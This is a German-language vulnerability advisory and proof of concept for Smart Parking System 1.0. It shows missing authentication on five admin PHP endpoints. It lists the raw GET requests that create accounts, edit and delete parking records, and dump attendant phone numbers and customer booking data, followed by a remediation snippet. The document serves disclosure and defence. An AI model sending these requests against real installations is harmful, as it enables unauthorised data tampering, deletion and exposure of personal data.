
Proof of Concept, der den nicht authentifizierten Zugriff auf kritische Admin-Funktionen im Smart Parking System 1.0 demonstriert und die Erstellung von Konten, Datenmanipulation sowie die Offenlegung personenbezogener Daten (PII) ermöglicht.
| Feld | Details |
|---|
| Produkt | Smart Parking System |
| Anbieter | code-projects.org |
| Version | 1.0 |
| Schwachstellenklasse | Fehlende Authentifizierung für kritische Funktionen (CWE-306) |
| CVE-ID | Ausstehend |
| CVSS-Score | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Erforderliche Authentifizierung | Keine |
| Betroffene Dateien | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
Das Smart Parking System 1.0 von code-projects.org setzt keine Authentifizierung für mehrere Admin-Endpunkte durch. Ein nicht authentifizierter Remote-Angreifer kann diese Endpunkte direkt ohne Session-Cookie aufrufen und privilegierte Operationen ausführen, darunter das Erstellen von Attendant-Konten, das Bearbeiten und Löschen von Parkdatensätzen sowie das Anzeigen aller Kundendaten (PII) und Buchungsdaten.
Für die Ausnutzung dieser Schwachstelle sind keine Anmeldedaten, kein Session-Token und keine Interaktion eines legitimen Benutzers erforderlich.
Keine Anmeldedaten / keine Session
↓
Direkte GET-Anfrage an Admin-Endpunkte
↓
attendant.php → Erstellen von Schatten-Attendant-Konten
edit.php → Lesen und Überschreiben beliebiger Parkdatensätze
basic_table.php → Löschen beliebiger Parkdatensätze
basic_table2.php → Auslesen aller Attendant-PII
admin_request.php → Auslesen aller Kunden-E-Mails und Buchungsdaten
↓
Vollständige Admin-Funktionalität kompromittiert
Öffnen Sie eine neue Browser-Sitzung ohne Cookies. Navigieren Sie zum Anwendungsstammverzeichnis. Die Anmeldeseite wird angezeigt, was bestätigt, dass keine aktive Sitzung besteht:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Navigieren Sie direkt zum Attendant-Registrierungsendpunkt:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Ergebnis: Das vollständige Formular „Add Parking Attendant Details" wird mit Feldern für Vorname, Nachname, Mobilnummer, Straße, Benutzername und Passwort geladen. Ein Angreifer kann ein Schatten-Attendant-Konto mit Systemzugriff registrieren.
Navigieren Sie direkt zum Bearbeitungsendpunkt für Parkdatensätze:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Ergebnis: Das Formular „Update Parkings Details" wird mit Live-Datenbankwerten vorausgefüllt geladen:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Ein Angreifer kann jedes Feld überschreiben und absenden, um Änderungen direkt in der Datenbank zu speichern.
Senden Sie eine direkte GET-Anfrage an den Lösch-Endpunkt:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Ergebnis: Die Anwendung antwortet mit:
Parking deleted successfully
Der Datensatz wird dauerhaft in der Datenbank gelöscht. Es sind keine Authentifizierung, kein CSRF-Token und keine Bestätigungsabfrage erforderlich.
Navigieren Sie direkt zum Attendant-Listen-Endpunkt:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Ergebnis: Die vollständige Attendant-Liste wird zurückgegeben, einschließlich Namen, Mobilnummern und zugewiesener Straßen:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Navigieren Sie direkt zum Admin-Buchungsanfragen-Endpunkt:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Ergebnis: Alle Kundenbuchungsdatensätze werden zurückgegeben, einschließlich E-Mails, Parkplätzen, Stunden und Kosten:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| Datei | Schwachstelle |
|---|---|
attendant.php | Nicht authentifizierte Erstellung von Attendant-Konten |
edit.php | Nicht authentifizierter Lese-/Schreibzugriff auf Parkdatensätze |
basic_table.php | Nicht authentifiziertes Löschen von Parkdatensätzen |
basic_table2.php | Nicht authentifizierter Zugriff auf vollständige Attendant-PII |
admin_request.php | Nicht authentifizierter Zugriff auf alle Kundenbuchungsdaten |
Fügen Sie am Anfang jeder Admin-zugewandten PHP-Datei eine Session-Authentifizierungsprüfung hinzu:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}